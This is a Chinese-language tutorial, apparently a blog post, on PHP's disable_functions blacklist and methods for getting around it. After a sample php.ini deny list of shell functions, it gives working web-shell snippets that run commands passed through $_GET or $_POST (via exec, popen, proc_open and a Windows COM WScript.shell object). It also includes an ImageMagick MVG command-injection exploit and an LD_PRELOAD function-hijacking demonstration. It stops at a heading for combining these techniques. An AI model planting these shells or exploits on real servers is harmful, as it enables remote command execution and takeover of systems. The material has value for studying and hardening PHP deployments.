disable_functions
为了服务器的安全,我们可以设置PHP禁止运行一些危险的函数。
设置方法
将需要禁止运行的函数写入到php.ini当中的disable_functions中。
phpinfo,eval,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockop
disable_functions =passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,
访问phpinfo()查看到被禁用的函数,如果phpinfo()被禁用就无法查看了。
黑名单绕过
由于disable_function本质上属于黑名单,这个时候就可以寻找是否有漏网之🐟,进行黑名单绕过。
1. exec
<?php echo exec('whoami');?>
2. shell_exec
<?php echo shell_exec('whoami');?>
3. system
<?php system('whoami');?>
4. passthru
<?php passthru("whoami");?>
5. popen
<?php $command=$_POST['cmd'];$handle = popen($command , "r");while(!feof($handle)) { echo fread($handle, 1024); //fread($handle, 1024); } pclose($handle);?>
6. proc_open
<?php $command="ipconfig"; $descriptorspec = array(1 => array("pipe", "w")); $handle = proc_open($command ,$descriptorspec , $pipes); while(!feof($pipes[1])) { echo fread($pipes[1], 1024); //fgets($pipes[1],1024); }?>
系统组件绕过
window com组件(php 5.4)(高版本扩展要自己添加)
由于我目前使用的是php 5.2自己开启com组件,盗用了网上的图,演示开启方式。
绕过代码:
<?php
$command=$_GET['shy'];
echo "command:".$command."<br>";
$wsh=new COM('WScript.shell');//实例化一个对象$wsh
$exec=$wsh->exec($command);//调用这个对象的exec()方法执行命令
$stdout=$exec->StdOut();
$stroutput=$stdout->ReadAll();
echo $stroutput;
?>
运行结果:
ImageMagick漏洞绕过
ImageMagick是一个功能强大的开源图形处理软件,可以用来读、写和处理超过90种的图片文件,包括流行的JPEG、GIF、 PNG、PDF以及PhotoCD等格式。
- php有IMagick、MagickWand for PHP 、phMagick等ImageMagick拓展库
- java有JMagick
- python有PythonMagick、Wand 等拓展库
绕过代码:
<?php
echo "Disable Functions: " . ini_get('disable_functions') . "\n";
$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
$command = 'id';
}
$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'
pop graphic-context
EOF;
file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
?>
环境变量LD_PRELOAD绕过
php的mail函数在执行过程中会默认调用系统程序/usr/sbin/sendmail,如果我们能劫持sendmail程序,再用mail函数来触发就能实现我们的目的
Linux系统中的LD_PRELOAD变量:“它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。”
测试:
1,vim ceshi.c
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv){
char passwd[] = "password";
if (argc < 2) {
printf("usage: %s <password>/n", argv[0]);
return 0;
}
if (!strcmp(passwd, argv[1])) {
printf("Correct Password!/n");
return 0;
}
printf("Invalid Password!/n");
}
2,编译:将ceshi.c编译为测试
gcc ceshi.c -o ceshi
3,运行:
当输入password,回显密码正确:Correct Password!
当输入其他字符,回显无效密码:Invalid Password!
4,源码分析
源码使用了标准c函数strcmp函数判断传入的字符串是否等于“password”,这是一个外部调用函数。
5,编写一个同名函数strcmp()
vim ceshi2.c
#include <stdio.h>
#include <string.h>
int strcmp(const char *s1, const char *s2){
printf("hack functio n invoked. s1=<%s> s2=<%s>/n", s1, s2);
return 0;
}
6,将上述代码编译为动态共享库
gcc -fPIC -shared ceshi2.c -o ceshi2.so
7,通过LD_PRELOAD环境变量,设置被其他调用它的程序有限加载。
export LD_PRELOAD="./ceshi2.so"
8,运行并测试
分析:可以看到它输出了hack functio n invok......,说明程序在运行时优先加载了我们自己编写的程序。这也就是说如果程序在运行过程中调用了某个标准的动态链接库的函数,比如上述的strcmp()函数,那么我们就有机会通过LD_PRELOAD来设置它优先加载我们自己编写的程序,实现劫持。
结合绕过